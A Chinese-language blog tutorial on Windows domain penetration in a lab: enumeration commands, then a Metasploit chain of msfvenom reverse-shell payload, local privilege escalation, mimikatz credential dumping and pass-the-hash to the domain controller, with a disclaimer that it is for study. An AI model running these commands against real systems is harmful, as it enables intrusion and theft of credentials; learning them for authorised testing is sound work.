域渗透——信息收集
本文最后更新于 2024-08-21,文章内容可能已经过时。
域渗透——信息搜集
前置环境搭建:
https://windeskyblog.love/archives/34f8a421-150c-4025-8521-f918d65396df
winServer2008 (域控主机)
winServer2003 (域内主机)
win7 (域内主机)
基本思路:
通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器(dc)、渗透整个内网。
如图假设拿到域内中的一台主机win7,可以使用ipconfig /all来查看域控主机的ip,一般是DNS,这里DNS服务器显示为192.168.91.153即为域控主机win2008的ip地址。得到ip地址后,可以先尝试下能否ping通或者扫描。
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、域内常用命令
-
判断当前所在域
ipconfig /all # 查看网卡配置信息,本机IP段,所在域 ping -a 192.168.112.100 # 通过IP反射查找域名 net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
-
查看当前存在几个域。
net view /domain
如果该命令无法正常执行,则需要启动域控服务器上的 Computer Browser服务。
-
查看域时间。
net time /domain
-
管理域用户的相关操作(需要管理员权限)。
net user 用户名 密码 /add /domain # 添加域用户 net group "domain admins" 用户名 /add /domain # 将该用户添加至管理员组中
二、本机信息
-
当前用户信息
whoami /fqdn # 查看当前用户的 FQDN (可分辨名称) whoami /priv # 查看当前用户拥有的安全特权 whoami /user #显示当前用户的信息以及安全标识符 (SID)。 whoami /all #显示当前用户名、属于的组以及安全标识符(SID) 和当前用户访问令牌的特权
域中常见的用户身份(用户组):
- Domain Admins :域管理员,拥有对域内的其他成员完全控制的权限。
- Domain Controllers :域控制器
- Domain Users : 域用户
- Domain Computers :域内机器
- Domain Guests : 域内来宾用户组,低权限
用户名的SID在域渗透中的作用很大。可以制作黄金票据和白银票据来进行权限维持。
-
用户列表信息
net user # 查看本机用户 net user /domain # 查看域内用户
其中,krbtgt对在域渗透信息搜集中的作用比较大,主要可以用来结合SID制作黄金白银票据。
三 、主机信息搜集
通过主机信息判断拿到权限的主机是普通计算器,还是服务器。我们可以通过主机的计算机名称、计算机上的文件和端口开放情况来进行判别。
- 若主机上有 “C:\inetpub ”,说明其可能安装有 iis 服务,是一台 Web 服务器。
微软运行asp页面的服务器就叫iis服务
- 通过开放的端口进行确认,使用命令 netstat 查看主机网络连接状态,若本机监听80、443端口,则可能为Web服务器;若监听53端口,则可能为DNS服务器。
- 通过主机的计算机名称、计算机描述等信息,例如 dc.woniuxy.com,说明此计算机可能为该域的 DC。
四、进程列表信息
查看进程列表信息,我们可以知道机器上运行者什么程序软件,有无杀毒软件、安全防护软件、VPN、FTP等服务或软件。方便后续利用,如免杀木马制作、提权等。
- 使用系统命令 tasklist。
五、系统信息
收集系统信息,如系统版本、补丁信息等。
- systeminfo
-
使用 wmic 命令查看全部补丁信息。
wmic qfe list full
六、域信息搜集
我们在域中一般收集域用户信息,域控制器信息,域用户登录日志信息,域内所有用户名、全名和备注等信息,域内工作组信息,域管理员账号信息,域内网段划分信息与域内组织单位信息等。
而我们进入一个域环境,刚开始大概率获取的是域内普通用户权限,所以在前期要收集的信息多以域控的地址、域用户或者系统等信息为主。我们可以使用Windows 系统自带的命令收集域基础信息,以下列举一些信息收集的方法。
-
查找当前域
net view /domain # 查看当前存在几个域 net view /domain:域名称 #查看当前域中的所有计算机
-
查找域控
-
通过查看 logonserver 信息找到域控制器。
set logonserver 或者 set log # 查看客户端登陆到哪台域控制器,简写为 set log
-
通过查找 srv 记录,找到域控。
SRV 记录是域名系统 (DNS) 资源记录。 它用于标识托管特定服务的计算机。 SRV 资源记录用于查找 Active Directory 的域控制器。 常用 nslookup 命令来进行查询,如下:
nslookup -type=SRV _ldap._tcp.woniuxy.com # 查找域控制器的轻型目录访问协议 (LDAP) SRV 记录
-
使用 nltest 命令查询工作站与域控间的信任关系。
nltest /dclist:woniuxy.com # 查找dc列表
-
-
查找域管理员
在域中若能获取域管理员的权限则可以对域内的其他成员完全控制,不过首先我们找到域管理员用户。我们可以使用 “net group” 命令查找域中的域管理员组成员,如下:
net group "domain admins" /domain # 查找域中的域管理员组成员
-
尝试访问共享目录
dir \\域控制器名 或者 IP\c$
测试有没有拿下域控,就可以使用这个命令。这里是权限不足不能访问,拿下域控后,访问其他电脑的c$可以。
例如下:域控主机访问域内主机win7的共享目录c$
七、主机发现
通过主机发现了解当前网络中设备的分布情况,查看内网有没有其他机器等,在域内进行横向渗透的时候也需要收集主机端口和ip信息。
-
查看路由表
route print # 打印当前Windows主机上的路由表
-
查看 ARP 缓存
arp -a # 查看当前设备上的 arp 缓存记录
可以发现有win2003的主机ip为
192.168.91.140
和win7的192.168.91.153
的域控主机win2008存在 -
使用 ping 探测
#循环1-255,ping网段内的主机 for /l %i in (1,1,255) do @ping 192.168.91.%i -w 1 -n 1|find /i "ttl="
八、MSF框架搜集
前提:使用kali,拿下一台域内主机
使用nmap发现域内主机win7ip地址为192.168.91.133
kali 生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o yu5555.exe
木马上传到域内主机,kali启动msf监听
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set lhost 192.168.91.129 set lport 5555 run
域内主机启动木马,反弹shell上线。
先exit退出shell,bg回到msf模块
-
收集域信息
search domain
一般使用post就行
-
尝试提权
search suggester
-
搜集信息
search windows/gather search linux/gather #这里不演示,应为域是window
use post/windows/gather/enum_domain # 枚举域信息 use post/windows/gather/enum_patches #展示补丁信息 use post/windows/gather/dumplinks # 查看用户最近打开文档 # 只要带有post的 模块 都必须设置 session
-
主机存活探测
use auxiliary/scanner/discovery/arp_sweep ARP # 通过arp扫描 use auxiliary/scanner/discovery/udp_sweep UDP # 通过udp扫描 use auxiliary/scanner/netbios/nbname NETBIOS # 通过NetBIOS扫描 use auxiliary/scanner/snmp/snmp_enum SNMP # 通过SNMP扫描
-
端口扫描
use auxiliary/scanner/portscan/syn # 通过 SYN 进行端口扫描 use auxiliary/scanner/portscan/tcp # 通过 TCP 进行端口扫描 auxiliary/scanner/portscan/ack # 通过 ACK 进行端口扫描
-
kiwi搜集(最重要的)
sessions 1
回到meterpreter模块执行如下命令:
load kiwi
creds_all
hashdump
输入kiwi命令可以调起msf框架自带的mimikatz工具。它可以从内存中提取明文密码、哈希值、PIN 码和 Kerberos 票据。Mimikatz 还可以执行传递哈希值、传递票据或建立黄金票据。
这里显示没有system权限,查看getuid发现没有进行提权。说明使用mimikatz需要提权后再使用。
bg回到msf模块,搜索漏洞 search suggester
use 0
show options
set session 1
run
可用模块:
*] Running check method for exploit 41 / 41
[*] 192.168.91.133 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_dotnet_profiler Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sdclt Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2019_1458_wizardopium Yes The target appears to be vulnerable.
5 exploit/windows/local/cve_2020_1054_drawiconex_lpe Yes The target appears to be vulnerable.
6 exploit/windows/local/ikeext_service Yes The target appears to be vulnerable.
7 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
8 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
9 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
10 exploit/windows/local/ms16_014_wmi_recv_notif Yes The target appears to be vulnerable.
11 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
12 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
使用第四个
use exploit/windows/local/cve_2019_1458_wizardopium
set session 1
run
提权成功,使用kiwi获取
load kiwi
creds_all
hashdump
成功获取到用户名密码的hash值。
有机会获取管理员的密码 在windows2012 之后,铭文密码就显示不出来了 , 可以通过修改注册表 来显示
creds_all报错的原因:
MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。
在32位系统下则没有这个限制。
creds_all报错的话使用如下命令获取:
kiwi_cmd sekurlsa::logonpasswords
这里渗透的win7是64位系统(使用sysinfo可以查看)
使用 ps 命令查看进程,我们需要找一个 64 位的进程,并且用户是 NT AUTHORITY\SYSTEM ,因为迁移进程后,meterpreter的权限是迁移进程的权限。这里我们选择1188进程
执行进程迁移命令,将meterpreter进程迁移到1188进程:
migrate 1188
使用psexec模块上线域控:
use exploit/windows/smb/psexec
show options
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.91.153 # 域控的IP
set SMBUser administrator
set SMBDomain XIAOE
### [set SMBPass] [获取的LM值]:[获取的NTLM值]
set SMBPass 32801fe143b57a06ba12f405d7e7327b:ee74af708818ef0e006daab27a7b78b9
show options
run
可以看到成功上线域控的管理员账户shell
具体操作可以参考:
https://blog.csdn.net/weixin_45116657/article/details/103147716
查看模块的用法:help mimikatz |
---|
livessp:尝试检索livessp凭据 |
mimikatz_command:运行一个定制的命令 |
msv:msv凭证相关的模块,列出目标主机的用户密码哈希 |
ssp:ssp凭证相关的模块 |
tspkg:tspkg凭证相关的模块 |
wdigest:wdigest凭证相关的模块 |
九、cs框架搜集
利用CS中的插件 :梼杌插件、谢公子等
kali启动服务端,并开启客户端
cs生成木马,上传至域内主机,上线cs。
等等,其他的就不演示了,都是傻瓜一键式操作,运行后操作台看信息就行。
- 感谢你赐予我前进的力量